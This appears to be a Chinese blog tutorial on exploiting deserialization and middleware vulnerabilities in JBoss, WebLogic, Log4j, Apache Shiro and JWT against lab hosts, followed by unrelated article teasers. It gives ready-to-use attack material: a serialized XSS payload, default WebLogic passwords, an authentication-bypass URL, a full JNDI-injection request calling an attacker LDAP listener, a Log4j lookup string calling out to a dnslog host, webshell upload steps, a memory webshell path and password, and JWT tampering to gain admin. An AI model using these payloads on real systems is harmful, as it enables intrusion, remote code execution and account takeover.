反序列化漏洞(JBoss、apache log4、apache Shiro、JWT)Weblogic未授权访问、代码执行、任意上传

1.1什么是反序列化

      就是把一个对象变成可以传输的字符串,目的就是为了方便传输。假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了。在我们讲PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。

序列化serialize()


序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象:

    class S{
        public $test="pikachu";
    }
    $s=new S(); //创建一个对象
    serialize($s); //把这个对象进行序列化

    序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表对象名字长度为一个字符
        S:对象的名称
        1:代表对象里面有一个变量
        s:数据类型
        4:变量名称的长度
        test:变量名称
        s:数据类型
        7:变量值的长度
        pikachu:变量值

例如:新建sec.php文件,内容如下,放入phpstudy根目录:

<?php


class s{
      var $test="123";
}
echo '<br>';
$a=new s();
echo serialize($a);
?>

访问此文件:

http://10.0.0.101:90/sec.php

PHP序列化格式
O:1:"s":1:{s:4:"test";s:3:"123";}

反序列化unserialize()

(大部分为代码审计出来的)

就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的结果为pikachu
    

序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题

        常见的几个魔法函数(漏洞前提):
        __construct()当一个对象创建时被调用

        __destruct()当一个对象销毁时被调用

        __toString()当一个对象被当作一个字符串使用

        __sleep() 在对象在被序列化之前运行

        __wakeup将在序列化之后立即被调用

------------------------------------------
        漏洞举例:

        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

例如输入序列化内容插入xss攻击代码:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

这段字符串仍然是PHP的序列化格式,但它包含了一个潜在的XSS(跨站脚本攻击)payload。以下是它的解析:

O: 表示这是序列化的一个对象。
1 是对象的引用计数。
"S":1: 指定类名的长度为1个字符,类名为"S"。同样,这里可能是一个简化的或示例类名。
{s:4:"test";s:29:"<script>alert('xss')</script>;"} 描述了对象的属性:
s:4:"test"; 表示有一个名为"test"的属性,长度为4个字符。
s:29:"<script>alert('xss')</script>"; 属性的值是一个29字符长的字符串,包含了一个JavaScript的<script>标签,它会在用户的浏览器中执行,显示一个弹窗,消息内容是"xss"。

 

 成功执行:


 1.2反序列化漏洞产生的原理

serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。

当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的 payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。


1.3反序列化漏洞实验

2、JBoss中间件:

Jboss反序列化
JBoss 5.x/6.x 反序列化漏洞:

漏洞编号为CVE-2017-12149,这个漏洞利用了 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化

查询是否是boss中间件及指纹信息:

访问/admin-console/

http://10.0.0.101:7777/admin-console/

 jboss访问:压缩包名+文件名

如:访问jobfan.war压缩包里的no.jsp文件

 阅览器访问:

http://10.0.0.101:7777/jobfan/no.jsp

 可以执行操作相关命令:


 JMXInvokerServlet 反序列化漏洞:

http://10.0.0.101:7777/jmx-console/invoker/JMXInvokerServlet 如果能下载,说明漏洞存在

JMX Console未授权访问:

http://10.0.0.101:7777/jmx-console/ 通过默认弱口令admin admin部署war马拿Webshell

3、 Weblogic中间件:

1、弱口令 帐号和密码都是weblogic

账户:密码
system:password

weblogic:weblogic

admin:secruity

joe:password

mary:password

system:sercurity

wlcsystem: wlcsystem

weblogic:Oracle@123
http://10.0.0.101:7001/console/login/LoginForm.jsp

 访问资源文件可以命令执行:

http://10.0.0.101:7001/jobfan/no.jsp

2、Java 反序列化漏洞操作(CVE-2018-2628)、 任意文件上传漏洞操作(CVE-2018-2894)、XML Decoder 反序列化漏洞操作(CVE-2017-10271)、SSRF 漏洞(需要安装Weblogic时选择UDDI组件)、反序列化漏洞(CVE-2019-2725)、未授权访问

 在线工具包NeblogicTool工具:

 dnslog在线平台:

http://www.dnslog.cn/
https://dig.pm/

 

 

 填写url、dnslog及漏洞:

 漏洞选择需要一个个测:

 ============开始检查可回显漏洞============
检查漏洞:CVE_2016_0638_ECHO开始
检查Payload:CommonsCollections3_678
[+]:存在CVE_2016_0638_ECHO漏洞,返回信息:oldboy-f74d04fe\administrator
===============检查可回显漏洞完成============

 

 ============检查漏洞:CVE_2020_2551_ECHO开始============
检查Payload:CommonsCollections3_678
[+]存在:CVE_2020_2551_ECHO漏洞,返回信息:oldboy-f74d04fe\administrator
============检查漏洞:CVE_2020_2551_ECHO完成============

漏洞命令执行:

 

 冰蝎连接成功:


未授权访问(CVE-2020-14882&14883)

CVE-2020-14882&14883 weblogic未授权访问漏洞

影响版本

WebLogic 10.3.6.0.0

WebLogic 12.1.3.0.0

WebLogic 12.2.1.3.0

WebLogic 12.2.1.4.0

WebLogic 14.1.1.0.0

CVE-2020-14882未授权访问登录后台,未授权URL地址:

http://10.0.0.101:7001/console/css/%252e%252e%252fconsole.portal
## %252e%252e%252f 解码为 ../ 利用此方式跳过

退出登录:

 阅览器访问未授权URL地址成功进入后台(进不去多试几次)

远程代码执行(CVE-2021-2109)

环境准备:虚拟机win2003运行WebLogic.cmd框架    kali2022安装JNDIExploit-v1.11.jar     

bp抓包工具

CVE-2021-2109  Weblogic Server远程代码执行
JNDI下载及使用说明地址:https://github.com/Jeromeyoung/JNDIExploit-1 

步骤:

上传JNDIExploit-v1.11.jar到kali

查看kali的ip地址:

ip a

eth0:101.0.0.200
开启JNDI监听
java -jar JNDIExploit-v1.11.jar -i 101.0.0.200  ##(kali本机IP)

 监听不成功可尝试此条命令来开启JNDI监听:

java --add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED -jar JNDIExploit-v1.11.jar -i 10.0.0.200

 

 使用bp抓包:

http://10.0.0.101:7001/console/css/%252e%252e%252fconsole.portal

在bp重发器里 修改请求行及添加JNDI注入执行的命令;

 GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://10.0.0;200:1389/Basic/WeblogicEcho;AdminServer%22)  HTTP/1.1

## 10.0.0;200:1389修改为自己kali的ip地址

cmd:whoami

## JNDI注入执行的命令

 GET /console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://10.0.0;200:1389/Basic/WeblogicEcho;AdminServer%22)  HTTP/1.1
Host: 10.0.0.101:7001
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
cmd:whoami
Cookie: 5bNa_2132_lastvisit=1715649964; oa3T_2132_lastvisit=1715650008; JSESSIONID=_z5_Rv7j9D2EUPX7NzBl_8aS7LNcdepbW3gPHez5QlOCA-xEipob!-2014840; ADMINCONSOLESESSION=QZiASo3zvYejzQ3VHR6tEhMK02CaP4tCZjkYB0aGIEn_1aQgsH6D!-1051510075
Connection: close

注:需修改标红处

 JNDI使用说明相关语句:

 kali显示正常的监听日志:

 可以看到我们的命令执行成功了。


任意文件上传漏洞操作(CVE-2018-2894)

未授权访问路径:(未登录)

http://10.0.0.101:7001/ws_utc/config.do

 修改当前的工作目录

 默认为:

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir

修改为: 

C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css

 修改目录之后,点击安全--添加--输入账号密码---选择木马文件--bp抓包--提交上传

 获取响应包:

上传成功:

访问上传的木马文件:

访问连接修改抓包获取的id和文件名(1715849377709_muma.jsp)

http://10.0.0.101:7001/ws_utc/css/config/keystore/1715849377709_muma.jsp

 木马文件成功访问执行:

由此可以使用webshell工具远程控制。


4、apache log4j  (Java日志记录库)

1、Apache Log4j是一个开放源码的Java日志记录库,主要帮助开发人员更轻松地控制日志级别,构建记录器,以及在多种日志目标之间转换,而无需修改日志消息。

2、漏洞影响版本:Apache Log4j 2.x <= 2.14.1

3、漏洞原理:由于 Log4j 2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

4、攻击代码:${jndi:ldap://${sys:os.arch}.iswaen.dnslog.cn}

5、修复方案:JAVA7版本升级至log4j 2.12.4版本,JAVA8及以上版本升级至log4j 2.17.0版本,升级包中移除了对lookup功能的支持,禁用了JNDI方法或移除log4j包中JndiLookup类


5、apache Shiro 框架

(原理:aes加密的密钥泄露导致的反序列化漏洞;需用户在登录时选择“记住我”)

1、Apache Shiro是一个功能强大且易于使用的 Java 安全框架,主要包含身份验证、授权、加密和会话管理等功能,可用于保护任何应用程序。

2、漏洞影响版本:Shiro-550 Apache 影响版本:Shiro < 1.2.4;Shiro-721 影响版本:Apache shiro<1.4.2

3、apache Shiro-550与721区别 Shiro-550--Apache Shiro框架提供了记住我的功能(RememberMe,用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后进行Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

Shiro-721--由于Apache Shiro cookie中通过AES-128-CBC模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

在kali中配置以下内容:

更新和安装软件包的软件源列表:

#vi /etc/apt/sources.list
deb http://http.kali.org/ kali-rolling main non-free contrib 
deb-src http://http.kali.org/ kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib 
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

-----------------------------

更新版本:

#apt-get update           更新软件包列表
#apt-get install docker      更新Docker的版本
#apt-get install docker-compose       更新Docker Compose的版本
#reboot   重启系统

------------------------------
#service docker start        启动Docker服务

这个命令是用于启动Docker守护进程(daemon)。在较新的Ubuntu和Debian系统中,你可能需要使用systemctl来启动Docker服务:sudo systemctl start docker
#docker pull medicean/vulapps:s_shiro_1      拉取Docker镜像

这条命令从Docker Hub或其他注册表中拉取名为medicean/vulapps的镜像,标签为s_shiro_1medicean是镜像的仓库名称,vulapps是镜像的名称,s_shiro_1是该镜像的一个特定版本。
#docker run -d -p 80:8080  medicean/vulapps:s_shiro_1   运行Docker容器

这个命令启动一个新的Docker容器,基于之前拉取的medicean/vulapps:s_shiro_1镜像。-d参数表示在后台运行(detached模式),-p 80:8080将主机的80端口映射到容器的8080端口。这意味着你可以通过访问主机的80端口来访问容器内运行的应用

 

 阅览器访问Apache Shiro:

http://10.0.0.200/  
(kali的ip地址)

 

进行bp抓包登录:(要勾选记住我RememberMe选项)

 bp重发器获取响应包:

 apache Shiro 框架特征

rememberMe=deleteMe

 

HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Wed, 15-May-2024 12:03:34 GMT
Set-Cookie: rememberMe=9MLYXEWQzLfO64IKIAvLRSnsOatBalSrJZh9V1FpAJ6mT1PvRwlDGeBHv/aZhqygOO1Blm8FE6weJgmZEXPUw3GjuZ89bSH4eqe0DxEFTSuusE8ncDz5cZm4rN7ceM/K5iLC6cwDz33fFSAxBytDUfKc5odbo32DVpV9vJ9d2OXUcRLdcYNwWW/BjzIPDxho0GGEt34180gosOgJZ6aUa/RdAa99VXkkP4Xn8PQ5CgwNvzHqp3aKnY4NUDnU1uTT9WODNm3d5VMcs3Bq3BwfOf/7DvscVMbuyfuN5meJi+j17pbzs7V6tiJflTKevse75/1xSIuMo+2Fdr6PDOeIcFJRL9f+6QePuo2Akin3vyx63c6zBEGsX58RALnNxojDeBTnBWwBjDlsHkg57EUlqJ+zKh6YEnkhG1NIjD21ISqlPL5okOamleD0AKoJ1TV8Qb3a3CNbR9k+pp7gkrtX9qwC20DR/J6gthi6jdCn12pUVe2ps/y8WmvNrsuWr7qN; Path=/; Max-Age=31536000; Expires=Fri, 16-May-2025 12:03:34 GMT; HttpOnly
Location: /
Content-Length: 0
Date: Thu, 16 May 2024 12:03:34 GMT
Connection: close

在线工具包选择ShiroAttack2工具

 填写目标地址、请求方式后检测当前密钥没有选择爆破密钥:

http://10.0.0.200/

(攻击者获取到密钥就可以进行反序列化)

 爆破利用链及回显:

 

可以执行系统命令: 

 可以植入内存马:

路径:http://10.0.0.200:80/favicondemo.ico
密码:lan2024

 冰蝎远程连接控制成功:

4、攻击工具:shiroAttack、ShiroExp

5、修复方案:(1)升级shiro至最新版本1.7.1;(2)保持shiro版本不变<,修改rememberMe默认密钥;(3)禁用rememberMe功能


6、JWT  库(是Token的一种

1、JWT即Json Web Token的缩写,是Token的一种。用来在向服务器发起请求时用作身份认证。使用JWT作为身份认证的优势在于:它不需要在服务端去保留用户的认证信息仅需要对该Token正确性进行校验即可,这就意味着基于token认证机制的应用,不需要去考虑用户在哪一台服务器登录了,为应用的扩展提供了便利。

2、判断方法:抓包看请求头Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicm9iaW4iLCJsZXZlbCI6InVzZXIifQ.oYPuxIPnm6lYx3Zx_8zaMGVw7Np5nZtgJVnaMqlZcOQ共三部分组成,类似于xxx.yyy.zzz,前两部分是base64编码的内容,第三部分是加密的签名部分(第一部分被称为header,会说明字符串的类型以及加密方式,第二部分被称为payload,包含用户的身份id,是否是管理权限等字段,第三部分是加密部分,对前面的“xxx.yyy”用头部中声明的加密方法进行加密,保证JWT的完整性)

(1)未授权访问:删除Token后仍然可以正常响应对应页面 (2)敏感信息泄露:通过JWt.io解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等 (3)破解密钥+越权访问:通过JWT.io解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料 (4)检查Token时效性:解密查看payload中是否有exp字段键值对(Token过期时间),等待过期时间后再次使用该Token发送请求,若正常响应则存在Token不过期 (5)通过页面回显进行探测:如修改Payload中键值对后页面报错信息是否存在注入,payload中kid字段的目录遍历问题与sql注入问题

 

访问JWT学习在线平台:

https://authlab.digi.ninja/Leaky_JWT
Leaky JWT 漏洞
 使用JWT判断方法:

请求头:Authorization: Bearer

JWT的三个部分:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.

eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0.

6j3NrK-0C7K8gmaWeB9CCyZuQKfvVEAl4KhitRN2p5k

 JWT的官方网站的解码器:https://jwt.io/

https://jwt.io/

 JWT的三个部分:

Header、Payload和Signature。解析每一部分的含义:

1. Header(头部)

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

Base64解码后得到:

{
  "alg": "HS256",
  "typ": "JWT"
}

这部分定义了令牌的类型(typ)为JWT,以及签名所使用的算法(alg)为HS256。

2. Payload(载荷)

eyJsZXZlbCI6ImFkbWluIiwicGFzc3dvcmQiOiIyYWM5Y2I3ZGMwMmIzYzAwODNlYjcwODk4ZTU0OWI2MyIsInVzZXJuYW1lIjoiam9lIn0

Base64解码后得到:

{
  "level": "admin",
  "password": "2ac9cb7dc02b3c0083eb70898e549b63",
  "username": "joe"
}

Payload包含了声明,这些声明可以是关于用户或其他实体的信息。在这个例子中,它携带了用户名(username)、用户级别(level)以及明文密码(这在实际应用中是非常不安全的,密码应该加密存储且不应该直接放在JWT中)。通常,Payload还会包含诸如过期时间(exp)、发行时间(iat)等标准声明。

3. Signature(签名)

6j3NrK-0C7K8gmaWeB9CCyZuQKfvVEAl4KhitRN2p5k

Signature是通过特定算法将Header和Payload进行加密处理后得到的,用于验证JWT的完整性和真实性。计算Signature时,除了Header和Payload外,还需要一个秘钥(secret),在这个例子中没有提供秘钥,因此无法直接验证Signature的有效性。

请注意,实际应用中,敏感信息(如密码)不应直接存储在JWT中,因为JWT是可以被任何人解码的(尽管不能修改,除非拥有秘钥)。正确的做法是使用JWT作为访问令牌,而密码和其他敏感数据应在服务器端安全存储并进行相应的验证流程。

JWT第二部分的解码登录密码:

cmd5在线平台:https://www.cmd5.com/default.aspx

username为joe

Password为Password1

 进行尝试登录,登陆成功:


 CVE-2019-7644 - JWT Signature Disclosure 漏洞

复制到JWT官网解码:

user修改为admin管理员:

 复制新生成的JWT的第二部分替换原来的JWT的第二部分:

提醒第三部分 签名无效

复制FO8ZDKSDNVnt_VB3f35_ofEMGFDTrv0dVo8hjGXDtn8
替换Hnpn5k6NtrXn8qvOuiSsFjXhAolQGn3TfmGBvA7EGTU

 点击Login,登陆成功:


7、安全防范

  • 安全配置好php相关参数:通过Php.ini配置文件里面有个disable_functions = 配置,这个禁止某些php函数, 服务器便是用这个来禁止php的执行命令函数

  • (1)执行系统命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反单引号) (2)代码执行与加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

  • 升级中间件

  • 严格控制传入变量,严谨使用魔法函数


声明:

  • 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/633394.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

附代码:策略常用-正余弦优化算法

正余弦优化算法作为群智能优化算法的一种, 正弦余弦算法 (sine cosine algorithm, SCA) 是 2016 年由 Mirjalili 提出的一种新型仿自然优化算法, 通过创建多个随机候选解, 利用正余弦函数的数学性质来平衡算法在搜系过程中的全局探索和局部开发能力。该算法具有结构简单、参数少…

鸿蒙开发接口应用程序包管理:【ApplicationInfo】

ApplicationInfo 说明&#xff1a; 本模块首批接口从API version 7 开始支持。后续版本的新增接口&#xff0c;采用上角标单独标记接口的起始版本。 开发前请熟悉鸿蒙开发指导文档&#xff1a; gitee.com/li-shizhen-skin/harmony-os/blob/master/README.md点击或者复制转到。…

ARTS Week 29

Algorithm 本周的算法题为 2413. 最小偶倍数 给你一个正整数 n &#xff0c;返回 2 和 n 的最小公倍数&#xff08;正整数&#xff09;。 示例 1&#xff1a;输入&#xff1a;n 5输出&#xff1a;10解释&#xff1a;5 和 2 的最小公倍数是 10 。 实现代码如下&#xff1a; con…

P6【力扣144,94,145】【数据结构】【二叉树遍历】C++版

【144】二叉树的前序遍历 1、递归法&#xff1a; class Solution { public:void preorder(TreeNode* root, vector<int> &res){if(root nullptr){return;}res.push_back(root->val);preorder(root->left, res);preorder(root->right, res);}vector<in…

AI--构建检索增强生成 (RAG) 应用程序

LLM 所实现的最强大的应用之一是复杂的问答 (Q&A) 聊天机器人。这些应用程序可以回答有关特定源信息的问题。这些应用程序使用一种称为检索增强生成 (RAG) 的技术。 典型的 RAG 应用程序有两个主要组件 索引&#xff1a;从源中提取数据并对其进行索引的管道。这通常在线下…

递增链表去重

题目描述&#xff1a; 题目思路&#xff1a; 1.链表内的val是递增的&#xff0c;所以相同的值只会连续重复地出现。 2.设置三个指针&#xff1a; ①指向头结点指针&#xff0c;用于返回链表 ②指向返回链表链尾的指针&#xff0c;用于在新链表添加结点 ③遍历旧链表结点的…

基于地理坐标的高阶几何编辑工具算法(5)——合并相交面

文章目录 工具步骤应用场景算法输入算法输出算法示意图算法原理 工具步骤 选中一个面&#xff0c;点击“合并相交面”工具&#xff0c;选择其他相邻面&#xff0c;空格执行合并。 应用场景 用于将相邻或相交的同类型几何面进行合并&#xff0c;达到综合效果。 算法输入 待…

单元测试—BMI脚本设计

BMI例题如下&#xff1a; BMI中国计算标准&#xff1a;体质指数&#xff08;BMI&#xff09;体重&#xff08;kg&#xff09;身高^2&#xff08;m&#xff09; 例如&#xff1a;一个人的身高为1.75米,体重为68千克&#xff0c;他的BMI68/(1.75^2)22.2&#xff08;千克/米^2&a…

【堡垒机小知识】堡垒机和接口机的重要区别分析

在企业IT架构管理中&#xff0c;接口机和堡垒机各自扮演着不可或缺的角色。但不少IT小伙伴对于两者不是很了解&#xff0c;不知道两者之间有什么区别&#xff0c;今天我们就来一起分析一下。 堡垒机和接口机的重要区别分析 1、功能区别 接口机主要用于数据库层面的数据交换和…

构建进攻性的网络安全防护策略

进攻性安全&#xff08;Offensive security&#xff09;是指一系列主动安全策略&#xff0c;这些策略与恶意行为者在现实世界的攻击中使用的策略相同&#xff0c;区别在于其目的是加强而非损害网络安全。常见的进攻性安全方法包括红队、渗透测试和漏洞评估。 进攻性安全行动通…

【漏洞复现】用友U8 CRM uploadfile 文件上传致RCE漏洞

0x01 产品简介 用友U8 Cloud是用友推出的新一代云ERP&#xff0c;主要聚焦成长型、创新型企业&#xff0c;提供企业级云ERP整体解决方案。 0x02 漏洞概述 用友 U8 CRM客户关系管理系统 uploadfle.php 文件存在任意文件上传漏洞&#xff0c;未经身份验证的攻击者通过漏洞上传…

Go 切片常用操作与使用技巧

1.什么是切片 在 Go 语言中的切片&#xff08;slice&#xff09;是一种灵活的动态数组&#xff0c;它可以自动扩展和收缩&#xff0c;是 Go 语言中非常重要的数据结构之一。切片是基于数组实现的&#xff0c;它的底层是数组&#xff0c;可以理解为对底层数组的抽象。它会生成一…

二十五篇:嵌入式系统揭秘:基础理论与实践探索

嵌入式系统揭秘&#xff1a;基础理论与实践探索 1. 嵌入式系统的定义与特性 1.1 详细解释 嵌入式系统&#xff0c;作为一种特殊的计算机系统&#xff0c;其设计目的是为了执行一个或多个特定的功能。与通用计算机相比&#xff0c;嵌入式系统通常被集成到更大的设备中&#xf…

基于地理坐标的高阶几何编辑工具算法(8)——整形面

文章目录 工具步骤应用场景算法输入算法输出算法示意图算法原理工具步骤 选中面,点击“整形面”工具,绘制一条和面至少两个交点的线,双击结束。 应用场景 快速修改一个几何面的局部形状。 算法输入 一个待修改的面p,和一条绘制的线l 算法输出 修改后的面 算法示意图…

(Qt) 默认QtWidget应用包含什么?

文章目录 ⭐前言⭐创建&#x1f6e0;️选择一个模板&#x1f6e0;️Location&#x1f6e0;️构建系统&#x1f6e0;️Details&#x1f6e0;️Translation&#x1f6e0;️构建套件(Kit)&#x1f6e0;️汇总 ⭐项目⚒️概要⚒️构建步骤⚒️清除步骤 ⭐Code&#x1f526;untitled…

Java——抽象类与接口的区别

定义区分&#xff1a; 抽象类&#xff1a;抽象类是用来捕捉子类的通用特性的 。它不能被实例化&#xff0c;只能被用作子类的超类。抽象类是被用来创建继承层级里子类的模板 接口&#xff1a;接口是抽象方法的集合。如果一个类实现了某个接口&#xff0c;那么它就继承了这个接…

第二证券今日投资参考:5月国产游戏版号发放 猪价加速上涨

昨日&#xff0c;两市股指盘中震荡上扬&#xff0c;沪指盘中续创年内新高&#xff0c;创业板指一度涨超1%。到收盘&#xff0c;沪指涨0.54%报3171.15点&#xff0c;深证成指涨0.43%报9750.82点&#xff0c;创业板指涨0.59%报1875.93点&#xff0c;上证50指数涨0.34%&#xff1b…

我的第一个JAVA程序IDEA版

目录 第一步 新建一个空项目第二步 新建模块第三步 新建包第四步 新建类第五步 新建main方法 第一步 新建一个空项目 第二步 新建模块 第三步 新建包 第四步 新建类 然后在包文件夹下新建类 第五步 新建main方法

使用Python生成一束玫瑰花

520到了&#xff0c;没时间买花&#xff1f;我们来生成一个电子的。 Python不仅是一种强大的编程语言&#xff0c;用于开发应用程序和分析数据&#xff0c;它也可以用来创造美丽的艺术作品。在这篇博客中&#xff0c;我们将探索如何使用Python生成一束玫瑰花的图像。 准备工作…

国内快速下载hugging face大模型的方法

由于众所周知的原因&#xff0c;从hugging face下载大模型比较困难&#xff0c;幸好国内有人做了镜像站&#xff0c;可以通过国内的镜像站进行快速下载&#xff0c;以下是配置方法。 我的系统是ubuntu 22&#xff0c;这里记录的方法只对debian/ubuntu有效。 git-lfs/INSTALLI…